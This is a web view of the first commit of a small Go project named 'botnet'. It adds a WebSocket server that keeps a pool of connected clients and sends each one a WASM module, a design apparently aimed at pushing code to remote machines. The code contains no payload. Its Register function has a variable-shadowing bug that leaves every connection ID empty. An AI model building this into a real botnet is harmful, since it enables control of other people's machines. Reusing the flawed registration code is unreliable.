summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorPhysick <96335032+DegustatorPonos@users.noreply.github.com>2026-07-19 20:13:23 +0500
committerPhysick <96335032+DegustatorPonos@users.noreply.github.com>2026-07-19 20:13:23 +0500
commitb3ea7a0ffcc24a3363d6fb507812438fe0d1ff16 (patch)
tree75cd964efc9a68338b0d5ab65f8bcadaf0730dea
init
-rw-r--r--back/Runner/runner.go4
-rw-r--r--back/Socket/Pool.go60
-rw-r--r--back/Socket/Socket.go57
-rw-r--r--back/Socket/WasmProvider.go20
-rw-r--r--back/go.mod5
-rw-r--r--back/go.sum2
-rw-r--r--back/main.go27
7 files changed, 175 insertions, 0 deletions
diff --git a/back/Runner/runner.go b/back/Runner/runner.go
new file mode 100644
index 0000000..36558df
--- /dev/null
+++ b/back/Runner/runner.go
@@ -0,0 +1,4 @@
+package runner
+
+type Message struct {
+}
diff --git a/back/Socket/Pool.go b/back/Socket/Pool.go
new file mode 100644
index 0000000..f3d4687
--- /dev/null
+++ b/back/Socket/Pool.go
@@ -0,0 +1,60 @@
+package socket
+
+import (
+ "encoding/base64"
+ "crypto/rand"
+
+ "golang.org/x/net/websocket"
+)
+
+type Connection struct {
+ UUID string
+ WS *websocket.Conn
+}
+
+var connPool map[string]*Connection
+
+func generateSecureString(length int) (string, error) {
+ // Calculate required byte length to yield the requested string length after Base64 encoding
+ byteLength := (length * 3) / 4
+ if (length * 3) % 4 != 0 {
+ byteLength++
+ }
+
+ bytes := make([]byte, byteLength)
+ if _, err := rand.Read(bytes); err != nil {
+ return "", err
+ }
+
+ // Encode to string and trim to exact requested length
+ encoded := base64.URLEncoding.EncodeToString(bytes)
+ return encoded[:length], nil
+}
+
+func Init() {
+ connPool = make(map[string]*Connection)
+}
+
+
+func (self *Connection) Register() error {
+ var nameExists = true
+ var new_id string
+ for nameExists {
+ new_id, err := generateSecureString(8)
+ if err != nil {
+ return err
+ }
+ _, nameExists = connPool[new_id]
+ }
+ self.UUID = new_id
+ connPool[new_id] = self
+ return nil
+}
+
+func RemoveFromPool(name string) {
+ var _, exists = connPool[name]
+ if (!exists) {
+ return
+ }
+ delete(connPool, name)
+}
diff --git a/back/Socket/Socket.go b/back/Socket/Socket.go
new file mode 100644
index 0000000..554674b
--- /dev/null
+++ b/back/Socket/Socket.go
@@ -0,0 +1,57 @@
+package socket
+
+import (
+ "fmt"
+ "net/http"
+
+ "golang.org/x/net/websocket"
+)
+
+func RegisterEndpoints() {
+ http.Handle("/ws", websocket.Handler(handleWS))
+}
+
+func handleWS(conn *websocket.Conn) {
+ fmt.Printf("%v connecting\n", conn.Config().Origin);
+ defer conn.Close()
+
+ // Adding to the pool
+ var connCache = Connection {
+ UUID: "",
+ WS: conn,
+ }
+
+ var regErr = connCache.Register()
+ if regErr != nil {
+ fmt.Printf("Failed to register the connection: %s\n", regErr.Error());
+ return
+ }
+
+ if err := websocket.Message.Send(conn, GetModule()); err != nil {
+ fmt.Printf("Failed to send initial module: %s\n", err.Error())
+ return
+ }
+
+ var buf = make([]byte, 1024)
+ var length, err = conn.Read(buf)
+ if err != nil {
+ fmt.Printf("Connection closed or error: %v\n", err)
+ return
+ }
+ fmt.Printf("Recieved %v from WS\n", string(buf[:length]))
+
+ if err := websocket.Message.Send(conn, []byte("xdx")); err != nil {
+ fmt.Printf("Failed to send initial module: %s\n", err.Error())
+ return
+ }
+
+ for {
+ length, err = conn.Read(buf)
+ if err != nil {
+ fmt.Printf("Connection closed or error: %v\n", err)
+ break
+ }
+ fmt.Printf("Recieved \"%v\" from WS\n", string(buf[:length]))
+ // conn.Write(buf[:length])
+ }
+}
diff --git a/back/Socket/WasmProvider.go b/back/Socket/WasmProvider.go
new file mode 100644
index 0000000..0041f22
--- /dev/null
+++ b/back/Socket/WasmProvider.go
@@ -0,0 +1,20 @@
+package socket
+
+import "os"
+
+const MOD_LOCATION = "../mod.wasm"
+
+var mod []byte
+
+func ReadMod() error {
+ var data, err = os.ReadFile(MOD_LOCATION)
+ if err != nil {
+ return err
+ }
+ mod = data
+ return nil
+}
+
+func GetModule() []byte {
+ return mod
+}
diff --git a/back/go.mod b/back/go.mod
new file mode 100644
index 0000000..ae89801
--- /dev/null
+++ b/back/go.mod
@@ -0,0 +1,5 @@
+module botnet
+
+go 1.26.3
+
+require golang.org/x/net v0.57.0
diff --git a/back/go.sum b/back/go.sum
new file mode 100644
index 0000000..d902440
--- /dev/null
+++ b/back/go.sum
@@ -0,0 +1,2 @@
+golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE=
+golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU=
diff --git a/back/main.go b/back/main.go
new file mode 100644
index 0000000..e70888d
--- /dev/null
+++ b/back/main.go
@@ -0,0 +1,27 @@
+package main
+
+import (
+ socket "botnet/Socket"
+ "fmt"
+ "net/http"
+ "os"
+)
+
+func main() {
+ if (len(os.Args) <= 1) {
+ fmt.Printf("Please, provide an argument!\n")
+ return
+ }
+ fmt.Printf("arg: %s\n", os.Args[1])
+
+ socket.Init()
+ if err := socket.ReadMod(); err != nil {
+ fmt.Printf("Failed to load WASM module: %s\n", err.Error())
+ return
+ }
+ socket.RegisterEndpoints()
+
+ if err := http.ListenAndServe(":6969", nil); err != nil {
+ fmt.Printf("Server has crashed: %s", err.Error())
+ }
+}